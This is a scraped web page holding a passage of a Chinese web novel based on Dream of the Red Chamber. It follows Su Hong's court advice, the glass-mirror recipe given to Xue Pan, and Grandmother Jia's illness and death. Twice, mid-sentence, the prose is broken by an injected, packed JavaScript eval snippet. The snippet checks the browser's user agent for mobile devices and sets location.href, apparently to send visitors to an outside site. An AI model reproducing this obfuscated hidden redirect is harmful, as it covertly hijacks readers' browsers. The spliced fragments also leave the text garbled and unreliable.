今上深吸一口气，下意识想将手边的镇纸抛出去骂一句废物，临了又想起这是新科进士，须得悉心培养。他又不是傻子，水旱成灾，他岂会不知道兴修水利、抚恤百姓。只是国库空虚，他便是有心也无力。 冷静下来后，他倒是细想苏鸿和纪花明的主意，确实能在短时间内填充国库，就是有损上国威严。但若不这样做，也唯有叫富商捐资，亦或卖官。但苏鸿的岳家是皇商，家中大富，一旦要富商捐资，薛家定是跑不了。他便是有心提起，也不好当着苏鸿的面，免得他通风报信。 忽而，他凝视着苏鸿，说道：“苏修撰先前说朝廷行商，所贩货物自是内府及各地织造、买卖局进上，只是还缺替朝廷卖货的人。皇商本就替皇家买进洋船货物，叫皇商替朝廷出面，何如？” 苏鸿一怔，笑道：“微臣见识短浅，私以为由内府承办便是。原本盐、铁便是朝廷专卖，如今不过是为内府开源罢了，大多货物都由内府制造，何必叫皇商在其中掺和。” 今上这才笑道：“三位爱卿悉心陈列，叫朕豁然开朗。赏！” 太监们便连忙捧出三份一模一样的仪礼，均是一罐新茶、一把折扇，三人便连忙收下谢恩。今上只命掌院学士留下，将苏鸿等人打发走。苏鸿等人恭恭敬敬退步出殿，直到回了翰林院衙门，三人才松了口气。 谭桦见左右无人，方有意无意抱怨道：“二位大人太过冒险，满朝文武谁不比我们见多识广，偏生又出这样的主意。叫大人们知道了，岂有不说咱们轻狂的理儿？” 苏鸿笑道：“谭编修说笑了。翰林原就是谋臣，为陛下分忧解难。今上孜孜求治，我等虽是微小见识，也绝不敢有所隐瞒，以免叫今上误以为我等不忠。何况成与不成，本在今上与诸位贤臣抉择，我岂敢因担忧颜面而闭口不言。” 谭桦不好再说什么，匆匆拱手见礼后便甩袖离开。纪花明便手执书卷，侧身看向苏鸿，低声笑道：“虽说是该直言，但你的性子也太直了。回头今上反应过来，真存了这个心思，只怕你就成了众矢之的。” 他暗指严明律法一事。虽说各朝各代皆有律法，说是一纸空文未免太过，但若说什么内外上下同法同治，又太过可笑。民间乡绅强买强卖、纵奴行凶的事本亦不少，不过花几个银子就能买通府官，不了了之，更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16395803|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遑论真正的富贵大族、皇亲国戚。 从大事算起，朝中贪污成风，论起律法都该砍头治罪。从小事算起，官员不许肆意纳妾、不许经商，单这两条有谁能按规矩办，谁家没有田产铺子，谁家没有三房四妾。实打实论起来，朝廷也不必办差了。 苏鸿笑道：“凡事都有过程，何况有些事都成了风气，谁敢特立独行。全都罚了，也不是道理。民间才有多少百姓读书识字，把他们换下，一时也没有替补办差的人。若什么时候人人都读书识字，都成了举人进士，风气定会比现在更好。” 二人说着便都笑了，心知是不可能存在的。民间连吃饱穿暖都是奢望，更别提供出个读书人了。如今头上这位主子爷不是什么明君仁君，不和贪官污吏比起谁更能搂银子就罢了，还指望他能一心为民吗？ 便是师兄给了救急的法子，到最后，国库里流出来的东西怕也成了残次品，不外乎逼迫商贾买下——甚至册上应有之物是否存在都是未知数。至于他所提的经商贸易一事，只扯皮磨牙也要有三年功夫。 晚间下衙后，苏鸿回府稍作休整，便与宝钗将今日之事细细说了。宝钗不置一词，只道：“你们外头的事，我知道便好，不可多说。只是有一句，国库既缺银子，少不得搜寻到我家。到那日，你不必为哥哥转圜，家里也保不住这些。” 她心里早就做了打算，妈当日为她置办陪嫁时，几乎将薛家能动用的东西塞了一半给她。田产、铺子多在京城，都是便宜管理的。薛家目下虽还有舅舅和姨妈家撑着，但局势不明，终究也不必在意那些身外之物，免得叫今上不喜。 就算丢了那些，她暗中接济，也不会叫妈和哥哥受苦。等日后哥哥成婚，再悄悄送回些产业，也能安稳度日。苏鸿亦非见钱眼开的人，这幅嫁妆原系妈和哥哥所赠，料想他不会说什么。 苏鸿明白宝钗言下之意，叹了一声将她搂进怀里，抚了抚她未带珠翠的乌发。他说道：“没有谁生来就知道朝堂上的事，便是起先不知道，慢慢也学会了。至于哥哥，我倒是有个主意，不知你意下如何。” 说着便将自己意外得来的制作西洋镜的方子及打算说了，低声道：“这东西现在贵重，但不是咱们能消受得起的，倒不如让哥哥献上去。有此功劳，今上岂会不感念。” 宝钗闻言犹疑，轻轻推开苏鸿，又倚在苏鸿怀中。她思忖片刻后笑道：“论理，明知这是巨利，我不该应下。但你我夫妻一体，我家中境况你亦然清楚，我便厚颜代我哥哥答应。” 她心中感怀，心中暗道果然是患难见真情。如今虽称不上患难，但有此一件功劳，来日便是被牵连，也不至于家破人亡。便是今上不顾念哥哥忠心，旁人也会劝解几句，多少会有转圜的余地。 苏鸿并不觉得有什么大不了的，笑道：“若是父亲和母亲的东西，我断不敢随意处置。这既是我的，便是你的，安心答应才见得你我是夫妻亲密恩爱。” 50.献宝 因苏鸿提前约了薛蟠晚间宴饮，因而夫妻稍稍叙话后，苏鸿便换了衣裳出门。薛蟠平日无事，早早就等在酒楼，见小二引着苏鸿过来，便笑道：“师兄，平日可不见你这样主动，是有什么大好事不成？” 苏鸿笑着一拳捶在他肩膀处，说道：“便是无事，找好师弟喝杯酒也使得。” 薛蟠笑着拉住苏鸿引他入座，说道：“我还不知道你，平日忙得不见人影，也就和宝钗成婚才多了几日婚假。还不快说，别磨磨唧唧的。” 他说着又吩咐跟着苏鸿出来的下人，叫他们到隔壁另开的一桌自己吃去，不用在这里伺候。众人自知舅爷不是外人，便笑嘻嘻出去吃酒。薛蟠便挽袖便替苏鸿斟酒，倒也不急着知道苏鸿所为何事。 苏鸿见薛蟠这般，一边接过热酒，一边笑道：“你是大舅哥，还该我伺候你，不然回头宝钗知道该骂我不懂规矩了。” 薛蟠浑不在意，摆手笑道：“咱们自己人，分什么尊卑上下。到了正经席上，你要想着我给你斟，就等着我把你灌醉了，给你脸上画个大王八，看你下次还敢不敢。” 私下宴席，谁去计较什么谁该给谁斟酒、谁该敬酒。真论起来，他是内兄也是师弟，苏鸿是妹婿也是师兄，更盘不清楚了。 二人说着便笑起来，略用了一些饭菜垫了垫。苏鸿方笑道：“今日来寻大舅兄，倒是有件好事，我已经跟宝钗商量过了。” 薛蟠听妹妹和妹夫有好事想着自己，眼睛都笑眯了，连连追问。苏鸿也不好卖关子，便笑着将自己早已抄好的一页西洋镜制法递过去，叮嘱道：“若薛家想自己制作，算不上多难。只是我和宝钗想着，家里也不缺这些钱，竟不如献给今上，也是一片孝心。” 薛蟠拿过来细细看了，对经济买卖只是略懂，但也知道西洋镜的价值。如今市面上所有的西洋镜都是从外头采买的，本朝只有铜镜。铜镜若是磨好了，自然也是纤毫毕现，只是终究不如玻璃镜清晰。 玻璃镜中，又以等身的水晶玻璃镜最为珍贵。内府虽有玻璃厂，却迟迟无法做出大块儿的平板玻璃用以制造穿衣镜。因而制作穿衣镜所需的大块儿玻璃都自西洋采买，单一块就要六百多两。 现存的这些水晶玻璃镜，只有皇宫和有底蕴的富贵大家才有，等闲百姓连见都未必见过。这方子写得极为详尽，小至巴掌大小的玻璃、上至等身乃至更大的玻璃，都细写了制作方法。 只管照着做，制出大块儿玻璃想来不是难题。大块儿玻璃不光可以制成穿衣镜，还能做成玻璃炕屏等。如此，虽不算价值连城，利用得当赚个十几万两也不在话下。 薛蟠心中动容，连忙说道：“这是贵重东西，怎能平白给我。若要献给今上，你只管自己用了便是，何必叫我得这个便宜。” 说着，神色也带着些许黯然，笑道：“我们家你也是知道的，我爹和叔叔都没了，能指望的亲近弟兄也就我和薛蝌。我文不成武不就，薛蝌虽有文才，但年纪尚小，要这功劳有何用。” 因着连年灾祸，朝廷要抚恤赈灾，国库亏空已经是人尽皆知的秘密。甚至不单是国库，内帑也并不充盈。他去内帑支银子时，内府的官儿也是推三阻四，既支不够银子，还叫他仍旧按原数写。 此时若是呈上，挣到的银钱虽连一次赈灾都不够用，但也聊胜于无。最重要的，还是叫今上知道他们忠心耿耿，连这样能得利的方子也肯献上。 苏鸿闻言笑道：“你别说笑话，这方子是我单独所有，跟父亲、母亲并不相干。我早已和宝钗商议过，由你献给今上最为合适。你便是不指望在仕途上有进益，也要防着被人牵连。叫今上对你留个好印象，日后也好办差。” 这话说得有道理，叫薛蟠也不好再拒绝。他又看了眼方子，小心翼翼叠好收进怀里，又连忙给苏鸿斟酒。笑道：“既如此，师弟我就厚颜收下。大恩不言谢，若有需要师弟做的，尽管吩咐。” 他被苏鸿的话说得心里一突，总觉得他话里有话。他爹和叔叔早逝，又不许他沾手这些，因而他虽知道薛家和贾家、王家背地里拉拉扯扯的，但也不知详情。听苏鸿此言，像是也猜到了什么。 苏鸿翻了个白眼，夹了块儿鸡腿塞进他盘子里，没好气儿道：“你说这话是存心羞我。要不是老泰山，我们的身家性命早就丢了，能活着都是托老泰山的福。何况你又是我亲内兄，我不向着你还能向着谁。” 薛蟠闻言又叹又喜，心中十分感动。古往今来，忘恩负义者多如牛毛，如苏鸿这样的人可谓少之又少，还叫他碰上了。想起生父临死前的谆谆教诲，薛蟠更是悲喜交加，与苏鸿又是一番推心置腹。 二人分别后，薛蟠不敢耽误时间，连夜找到自家玻璃坊，要伙计们和师傅试验此方。一应参与人等，都不许随意出入。众人从未见薛蟠如此行事，但听他说是得了个绝妙的方子，便也不敢疏忽，跟着他一起留在作坊里。 一连半月有余，师傅们才总算做出了一块儿完整的大玻璃，薛蟠与众伙计围着玻璃不由万分惊叹。当即便有师傅奉承道：“如今连宫里都没有这样的手艺，咱们既能做出来，日后玻璃行当就该推咱们为首了。” 他们心中拨着算盘，现在全京城都没有他们这样的本事，薛家要赚地盆满钵满，他们也能趁势从中取利。又想到薛蟠不通经济买卖，少不了有一半都能进他们的腰包，不免喜气盈腮。 薛蟠瞥了喜笑颜开的众人一眼，大笑几声后便说：“丑话说在前头，这方子是我要献给今上的，你们就是泄露出去，也没人敢用。所以也烦请诸位都把嘴巴闭紧些，大家平安便是造化了。这半个月都辛苦了，赏银翻倍。” 当下，薛蟠便带着方子，又封了五百两白银送至戴全府上，走了他的路子入宫求见今上。今上本不欲接见，然而听戴全夸得天花乱坠，又说要献宝，便起了几分兴趣。 薛家他自然很熟悉，薛蟠现领着内府帑银行商，只是交上来的银子远 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今上抬手敲了敲这块儿厚重的玻璃，见剔透晶莹、十分平整，心里越发喜欢。再看薛蟠时，也不似先前那般嫌弃，眼中都带了些笑意。他便笑着赞了几句忠心，又命人开私库赏赐彩缎，才将欢欢喜喜的薛蟠打发走。 今上日常用着西洋穿衣镜，内府也频频试图做出大块儿玻璃，他对这方子的价值心知肚明。想到私库刚一空虚，便有皇商上赶着来送钱，越发觉得他们忠心耿耿，又觉自己已手握大权，才叫他们这般讨好。 他志得意满，叫人将内府官唤来之后，便将方子交予他，要求尽快制作、验方。内府官骤然得了这个方子，先是一喜，又听闻是薛蟠献上，心中便隐隐带着不满。薛蟠本就隶属内府，要献宝这样的事不通过他，反而叫戴全得了便宜，难免是不把他放在眼里。 只是见今上对薛蟠忠心夸了又夸，便不好再说什么，只心里暗暗记了薛蟠一笔。 内府得了这个巧宗儿，现成的方子和现成的匠人，莫不欣喜。有熟手帮忙，十次里便有三次能制出完美的玻璃。因着少了用西洋货的成本，匠人们又在穿衣镜上镶嵌各色宝石，在整个镜沿嵌入金丝，阳光一照，整面镜子便熠熠生辉，极为光耀。 待内府为满宫的大小主子们都制出穿衣镜及各色大小镜子后，才终于按着今上的吩咐做了大玻璃板、穿衣镜等寄卖。同样的尺寸，西洋货600两，他们便卖500两。因着是内府流出来的上用之物，又传闻宫中盛行玻璃镜，不少官宦富贵之家都咬牙买了下来。 苏鸿见今上竟然真的让内府对外售卖，虽觉有些惊讶，又觉是情理之中。毕竟再顾忌面子，内务府亏空都是不争的事实。何况打出的旗号又是与民同乐，也叫今上放下了些许负担。 因今上私库中不断进账，太上皇也没有身体好转的驱使，今上的心情便不似先前那般阴晴不定，叫京中也过了个好年。苏鸿也没想到还会有这样的效果，暗道能让朝堂得几个月的安稳，也算是这玻璃的功劳了。 谁知刚翻过年，宫里尚未出事，贾家便先出了问题。 51.病重 翻过年后，贾母的身体忽然变得虚弱，缠绵病榻半月也不见好转。贾赦、贾政、王夫人等心急如焚，请遍了太医，却不见半点效验。 这样的坏消息冲淡了迎春出嫁、春节及元宵的喜庆。凤姐、李纨及黛玉、宝玉等一干姊妹尽皆侍奉在贾母病榻前，见贾母越发消瘦，皆心情沉重，心中又痛又哀。 她们不是不通世事的小儿，虽知道生死之事皆由天定，然而慈爱温厚的祖母、外祖母一旦倒下，便克制不住心中的哀痛恐慌。黛玉见最为疼爱自己的贾母将不久于人世，不由想到母亲、父亲及自己，愈发难过。 只是因贾母一息尚存，黛玉不敢当面嚎哭，唯有悄悄躲在房内。一连半月，她都顶着肿得核桃大小的眼睛，连眼泪都要哭干了。其余人等亦是眼圈泛红，神色憔悴，每日来往侍疾。 只是除却黛玉、探春、宝玉等人心中尚存一线希望，贾赦、贾政早已虑到贾母身后事，叫管家人等料理后事所用的东西。黛玉无意间见了管家媳妇分发孝布、预备纸扎，顿时被刺激得忍不住咳嗽，直咳出血痰来。 紫鹃急得直哭，但贾府忙忙乱乱，都紧着贾母。她要去告知王夫人、凤姐，却也被黛玉拦下。她虚弱地倚在床头，肿着眼睛道：“舅母和凤姐姐都为老太太的事急得上火，何苦这会儿添了我这一桩。不过咳嗽得时间长，才带了些血丝。我自己知道，不妨事的。” 她自己不当回事，却把前来探病的宝钗唬了一跳。她接了薛太太的消息，因在贾府借住这样长的时间，贾母又是头一等慈爱良善，得知她病重的消息便上门来瞧，搜寻些得用的人参等药材送来。 如今贾府几乎精穷了，满府上下寻不到好药材，连贾母珍藏的人参也都腐了，不能再用。宝钗先时无意间知道，见贾家正需要好药材，便叫家里的伙计们到参行换了些上好的，送来给贾母使用。 宝钗去探望过贾母、王夫人，听说黛玉因着侍疾也发病，正恹恹在房内休息，便赶来探望。谁知见黛玉面色苍白，形容消瘦，竟也是一副病容，心里一惊。 紫鹃见宝钗过来，想到宝钗母女素日对黛玉的怜爱顾惜，眼中泛起泪花。不顾黛玉阻止，便哭道：“宝姑娘，我们姑娘她……”说着便将黛玉藏在枕下的帕子抽出来，捧给宝钗看。 宝钗见竟是痰中带血，又见黛玉病恹恹的，一时竟觉头晕目眩，险些站不住脚。她缓了缓，说道：“你也太不经事了，她不过是咳嗽得用力了些，这么点血，可不是伤着肺腑就有的，吃些药养养就好了。这事可告诉你们太太了？” 紫鹃摇摇头，心知宝钗是有心宽慰，含泪说道：“是我没见识，太着急了。今早起来才发现，我正要去告诉太太，请位大夫瞧瞧。姑娘一心想着老太太，不愿意叫我多嘴。” 宝钗叹道：“你这丫头也太托实，这会儿你们太太和凤丫头为老太太请医看病，哪里忙得过来。你正经该去告诉妈，叫她请太医来，一样便宜。文杏，你跟妈说，烦哥哥下个帖子将太医请来，再跟凤姐姐交代一声。” 她们家在贾府住得时间久了，请大夫自然是请贾府惯常用的。因而几位时常往来看脉的太医也与她们家相熟，要请来不过一句话的功夫。何况先时老太妃去世时，妈便搬入园中照料黛玉，亦知常为她看病请脉的太医是谁。 只是太医入园来看病有些麻烦，还得稍微布置些，叫凤姐姐知道。 紫鹃闻言又哭又笑，说道：“我是急糊涂了，忘了还有姨太太她老人家。” 宝钗说着便坐到黛玉身旁，见她形容憔悴，有气无力地喊了声姐姐，险些未忍住眼泪。见黛玉十分消瘦，竟像纸片一样单薄，宝钗不由红着眼说道：“颦丫头，老太太纵在病中，心里也挂念着你和宝兄弟。你这般模样，回头叫老太太瞧见了岂不难受？” 黛玉眨了眨干涩的眼睛，伏在宝钗怀里低声道：“姐姐，我知道了。” 宝钗见她知道好歹，这才没再说什么，叫她先躺下窝在被褥中休息。她见黛玉仍旧心神不宁，知道她心中念着贾母，也不好多劝，只静静坐在一旁陪着。不多时，薛太太便带着几个小丫头进来，见女儿在此陪伴黛玉并未寒暄，只仔细看了看黛玉的面色。 黛玉见薛太太来了，正要起身，就被薛太太一把按回床上。她坐在黛玉的床边，叹道：“要不是宝丫头过来，我还不知道你病了。你这两年身体尚好，许是咳嗽用力了些，不妨事的。我已跟凤丫头说了，这些日子就在你这儿住着，你别怕。” 她知道黛玉自小便身体不好，平日勉强能如常人一样活动，但老太太一出事，她必定是伤心极了。本就虚弱，又日夜哭泣，不曾睡得几夜整觉，身体自然更差了。旁人一时也顾不上黛玉，所幸她尚且无事，能多陪伴几日，也好开解开解。 生死无常，都是人意想不到的事。她家老爷素日身体康健，说去便去了，只留下她们孤儿寡母。何况老太太如今也是八十有一的高寿，也享了一辈子的福，算是顶有福气的人。 黛玉见薛太太如此，眼泪终于忍不住，伏在薛太太怀中呜咽。薛太太和宝钗连忙解劝，她才略略止住。见薛太太还要说什么，黛玉便道：“妈，我都明白的。” 好在痛痛快快哭了一场，心中的愁闷倒是散了一些。恰巧此时，便有丫鬟进来说芸二爷引着太医已经到了园子里，正往这边过来。宝钗母女闻言，便转到屏风后坐着，紫鹃便将帐子放下，黛玉跟前伺候的老妈妈们便守在床前，雁翅摆开。 那太医是常往来的，知道是为府上小姐看病，并不敢多看。请脉后，紫鹃又将沾了血的帕子取出来叫太医瞧，待太医瞧了才被贾芸引到外头。不多时，便将方子抄进去，请薛太太看。 薛太太放心不下，又隔着窗子问了几句，听太医说果然不妨事，叫病人开阔心胸、少伤心劳神，开几副安心定神的药吃了就好。她与宝钗这才放下心，叫老妈子给了打赏，仍托贾芸将太医带出去。 黛玉素知自己身体不好，不似长寿之人，咳血后更是颇为灰心。此时听得真切，远不至油尽灯枯之时，便也放下心。宝钗见黛玉被折腾地额上满是细汗，蹙眉道：“可惜竟不曾听闻京中哪位女医医术了得，不然倒可以请来，也不必折腾人。” 黛玉靠在软枕上，待喘匀气后才道：“看书时，倒是见过几位女医撰写的脉案，我心里还羡慕她们有一身高明医术，只是都非本朝贤医。” 宝钗给她擦着汗水，笑道：“咱们成日在家，哪里知道外面的事。还是你姐夫跟我说起在外念书的趣事，我才知道本朝也有，在江南小有名气。她不单擅长为妇人、小儿治病，治内症也是一绝。” 黛玉和薛太太都听住了，连忙细问。宝钗便将所知的事迹说了，见黛玉被转移了注意力，心中暗喜。黛玉性情敏感，连花开花落都有一番感叹，对落花伤怀，更遑论贾母生病。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16410454|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好歹叫她心里松快些，许是就好了。 三人正说着闲话，就听人进来说：“宝姑娘，苏姑爷正等在角门前，来接您一块儿出去。” 薛太太听女婿来接女儿，便笑道：“宝丫头快去吧，别让鸿哥儿等急了。我和林丫头在这儿，你只管放心吧。” 一时宝钗去了，坐着车到角门时，苏鸿才和贾宝玉寒暄两句，见她出来便上了车。看她愁眉不展，苏鸿方问道：“方才我问宝兄弟，他还说老太太暂且不妨碍，你怎么这样愁起来？” 宝钗摇头道：“倒不单是为了老太太。我今日过去，见林家妹妹为着老太太的事，熬得消瘦憔悴，眼睛都干得流不出眼泪了，实在叫人难受。他们家里还好，有姨妈和姨夫在，倒也能支应开。” 苏鸿沉吟片刻，揽着宝钗的肩膀将她搂进怀中安慰道：“师兄那边，虽说刚新婚不久，但史太君病重，嫂子也得常回去侍疾探望。我知道你的心事，你若得闲，便陪着嫂子一同过去，也是个心意。” 史太君虽说缠绵病榻，终究也有清醒几分的时候。宝钗也在贾府这么多年，受人照拂，叫老人家临去了之前瞧上几眼，心里也安稳。宝钗又与林家姑娘情同姐妹，林姑娘身体不好，她心中也放心不下。 宝钗并未推拒，笑着答应下来。此后，她便隔三差五与迎春一起到贾府探望，众姊妹坐在一处，虽仍旧气氛沉闷，到底也比一个人闷在心里强。贾母却并不见好转，清醒的时候越发少了，忽有一日，早早醒来便要粳米粥来喝。 众人皆知此事不妙，必定是回光返照，便都含悲忍泪聚在贾母床前。贾母略吃了两口，便觉没味道，却也不说，只环顾着殷切切看向自己的众儿孙。不单自家儿孙在，黛玉、宝钗、湘云等也和薛太太站在一处，红着眼圈只不敢哭。 又见迎春虽仍旧木木的，眼中终究带了几分人气，便知道她过得不错。事到如今，她也只有一件事放不下。林丫头没了爹娘，虽认了薛太太做干娘，终究比不得二儿子和儿媳能名正言顺为林丫头主张。 儿媳妇人虽不坏，却天真烂漫，又将宝玉视若珍宝。若她被人挑唆着，弃嫌林丫头，两个玉儿的婚事定有波折。可叹她先前只当还有几年好活，能瞧着他们顺利成婚，谁知道自己就要撒手了。 她心里明白，便说道：“我已经是八十的人了，什么事没经历过，福也享尽了。临了，只有三件事叮嘱。” 贾赦贾政连忙膝行上前，请贾母开口。贾母便叫宝玉与黛玉上前来，说道：“宝玉的婚事，我早就相准了。他和林丫头在我膝下长大，又是姑表姊妹，素日和气。前儿姨太太亲自来跟我说亲，我念着他们年纪小，没应下。临了要闭眼，就定下他们的婚事。” 宝玉黛玉闻言，见贾母临死前仍旧挂念他们，心中酸痛，悲喜交加，转而更觉哀痛。贾政与王夫人见贾母遗言，哪里敢不应下，连忙上前答应，请贾母放心。 贾母勉强点点头，又看向鸳鸯，喘着气说道：“我私库里的东西，也不偏向你们谁，早就贴了签子分好了。我的事和两个玉儿的事，都从里头出。珠儿媳妇艰难，不许眼红。凤丫头管着家不容易，叫她贴赔嫁妆……” 她看着诸儿孙和素日里膝下承欢的孙女们，一一叫他们到眼前来看过，才几乎无声道：“祖宗挣下这样大的家业，你们要争……” 话未说完，贾母面上通红，牙关紧咬，竟是阖上双眼。 52.王家 众人见贾母人事不知，只剩一口气，也不敢再耽搁。邢、王夫人连忙上前扶住贾母，凤姐李纨伺候着换了衣裳。刚将贾母安置好，就见她脖颈一软，俨然咽了最后一口气。 贾赦贾政连忙膝行上前，扶床嚎哭起来。往日再有多少矛盾、不满，如今亲娘去了，竟都哭得撕心裂肺。众孙辈想到贾母素日慈爱，虽知生死乃天理，终究心中不舍，尽皆垂泪啼哭。 家下人等听闻里头传来的哭声，连忙换上早就预备好的孝衣，不过片刻，荣国府上下便是一片白蓝素色，再不见半点鲜亮。众人分了内室外室，方跪着一同举哀，悲悲切切，叫人闻之伤心欲碎。 宝钗和薛太太陪着哭了一会儿，便连忙上前解劝邢、王二位夫人及诸姊妹。外头贾珍等人也劝解孝子以大局为重，先为老太太安排身后事。众人方渐渐止住哭声，将内事仍交凤姐照管，外事交贾琏安排。 宝钗本不好多留，见里头有尤夫人和妈照应，黛玉和姊妹们又已经缓过来，陪了片刻便告辞归家。王夫人知晓她是成家的人，不能像仍在闺中一般自在，便点头答应，又叮嘱宝钗千万过来照看照看。 就算预备得再充分，终究也是一件大事。何况她们大人忙着老太太的身后事，难免顾不上探春、黛玉她们姊妹几个。黛玉又一惯身体不好，若叫她又出了什么事，她也没脸去见老太太了。 宝钗来贾府探病时就想到此处，早早回明苏母。苏母也知宝钗承蒙贾府照顾，哪有不应之礼，因而又叫宝钗提前预备了祭礼。宝钗见婆婆和苏鸿都并无勉强之意，便再无挂碍，听王夫人托付便一口答应。 宝钗归家后，苏鸿正巧下衙回来。见她在房中刺绣，眼圈微微泛红，便问道：“我听礼部那边说史太君殁了，你姨夫上本丁忧，这消息可准？” 宝钗见他回来，连忙将手中的针线放下，起身帮苏鸿脱下大衣裳。听他这般问，叹道：“正是呢，老太太今儿仙去，想到她素日宽厚慈爱，叫人难受。姨妈和我说了，叫我这几日到那边去帮忙，照看我姊妹们几日，一同做个伴。” 苏鸿点头道：“等我休沐，亲自带着祭礼上门。幸而老太太也算喜丧，享了一辈子福，他们做儿孙的心里也能宽慰些。只怪今年冬天太冷了，老人家受不得冻，便是金尊玉贵养着，也难以支撑。” 他说着，不由微微出神。宝钗听他话里的意思，想到他们私下里议论过的事，便悄声问道：“是那位不好了？” 苏鸿点头，随即又摇头道：“说不好，只听得大家私下里言语，说一直缠绵病榻，每日请脉问药的太医不断。先时还能勉强到临敬殿观政，如今是彻底没精力了，往来同僚都说没见过。” 他心里隐约有些预感，等太上皇薨逝驾崩时，几家旧日勋贵的运数便要到头了。太上皇掌权时，尚且能记起几分勋贵功臣的功劳。到了今上，本就不满勋贵支持太上皇，这些王孙公子行事亦毫不收敛，稍有人挑拨几句，几家勋贵恐怕就要倒霉。 只可惜《石头记》未完，不然他也能知道后头的事，提前多几分防范。 宝钗闻言，便与苏鸿想到一处。苏鸿又低声道：“还有一事，我也拿不准。父亲说陛下近日问起国库亏空，不知是谁提起有官员借了国库的银子却不曾归还，今上脸色便不好看。咱们两家是没有的，但你姨妈家却说不准。” 此事说大不大，说小却也不小，端看今上如何想了。昔日太上皇开恩，准许家境艰难的官员自国库借银生活，不计利息。此令一出，朝野内外均赞太上皇仁德无双，无论是否困难，都要到国库借银，为太上皇歌功颂德一番。 说是借银，自是有借有还。只是不少臣子自持功高劳苦，哪里肯将到手的肥肉吐出来。因而户部每每催促，他们总有千般万般的借口。何况不少权贵仗着户部不敢催促、皇帝恩宠，都只当没有这笔借款。有他们带有不还，其他官员自然也有样学样。 彼时国库充盈，太上皇并不介意，到了后期国库存银不足时，太上皇也拉不下脸找臣子要钱。现在国库空虚，今上想让臣子们还钱也是应当的。只是这样的做法，难免又叫旁人暗自辱骂，说今上不及太上皇宽厚。 苏鸿叹道：“国库的银子都取自百姓，本该返还于百姓，却都被那些禄蠹蛀空了。这笔钱论理也该还，就是不知今上如何裁度。” 宝钗垂头想了半日，说道：“不止这些，那些人借着百姓的名义，明里暗里支了多少银子，到百姓手中早被刮了几层。都是读着圣贤书的人，终究玷污了。明日我稍与姨妈提一句，若果真有，好歹凑银子还上。” 贾家如今公中也没了多少银子，虽有老太太的钱，也都是一项一项有了归属。眼下又多了这一项支出，少不得腾挪些出来。何况昔日借银时，贾府正当鼎盛，借银也不会太过小气，指不定借了几万亦或十几万。 情知贾府艰难，宝钗更不好开口。 第二日一早，宝钗便往贾府去。先去见了薛太太，薛太太听闻此事，沉默许久便道：“这也是没法子的事，又拖不得，少不得叫我去开口。你告诉你凤姐姐一声，就陪着姊妹们，照看照看兰哥儿，可别插手旁事。” 宝丫头虽是一片好意，但一来这个消息未必准，若上头考量到最后并不打算追缴欠银，恐怕会让宝丫头落埋怨。二来，即便消息准，贾府的人东挪西凑的，心里定然不痛快。她姐姐姐夫也就罢了，大房那边少不得要埋怨宝丫头把坏消息带来。 也就她老天拔地的，又是平辈，说了也不伤脸面。宝钗亦知薛太太的意思，离开后便着意陪着姊妹们作伴，轻易不曾开口。而薛太太则先将此事悄悄告知王夫人，王夫人并不知还有这一项，连忙又告知贾政。 贾政确实清楚自家和宁府皆有借银，听闻此事，对薛太太千恩万谢，便到外头与贾珍、贾赦等细细谋划。若母亲还活着，好歹也是功臣遗孀，年纪又大了，皇家多少会讲些情面。现在倒不好说，幸而宫中还有元春，不至于叫他们彻底没了倚仗。 不单贾家，各家在户部有关系的，都听说了此事。在国库有欠银的人家，虽不知今上究竟是否会追讨，但还是提前将银子搜罗出来，免得临到头拿不出来。只是谁也不肯到国库还银，硬生生拖延时间等消息。 因苏家并未有欠银，纪花明更不涉及此事，二人便安心在衙门办差。听同僚们谈及此事，也都佯装不知，并未掺和。今上虽在深宫，但各处皆有耳报神，见朝堂上下皆在议论，却不曾有人还银，连太上皇病重的好消息也没办法叫他开怀。 何况现在处处都要用钱，自己私库虽说稍微充盈些，但国库却是空荡荡，只剩下压底的二百万两。都不用说再来一场天灾，再没有进项，连官员的俸禄和养廉银都发不下去了。 先前纪花明提议把国库里的粗笨东西、摆件儿等卖出去，但他着人去盘查，见登记在册的稍微名贵些的东西都报了损坏。管着库房的大使又早换了几茬人，现在再想追究，也不知该追究谁才好。 何况名册上的一架玻璃珐琅炕屏、一盆八宝通草花，如今正明晃晃摆在他的殿上，皆为自己亲信进上，叫他更不能追究。因而此事只好作罢，只能将现存的东西拾掇出来，命户部组织商户变卖。 因剩下的东西一般，最后也只收拢了六十多万两。今上被气得咬牙切齿，一心要将国库的欠银收回。又见自己若不明言，那些人就敢继续拖着，今上便再也忍不住，马上召忠顺王等亲信入宫议事。 忠顺王等人亦有欠债，本想劝今上不要再追究，只叫国库日后不许给官员借贷就好。只是今上执意不从，忠顺王想着也可先从其他家收回银子，又能趁机在当铺捞上一笔，便也满心欢喜应下。 富贵人家吃穿用度样样不差，但家中境况并非一直鼎盛，自然有后手不接的时候。一些人家不能减少开支用度，节俭度日，又不能约束家中下人、整顿产业，自然少不得从摆设、衣服、头面等变卖，直至变卖产业、家宅。 不论死当活当，都能从中取利。尤其死当，那些人家要钱颇急，哪里能耐得住当铺，少不得被压价。那些价值连城之物便又由掌柜的献给东家，东家再择机送给旁人或卖出。 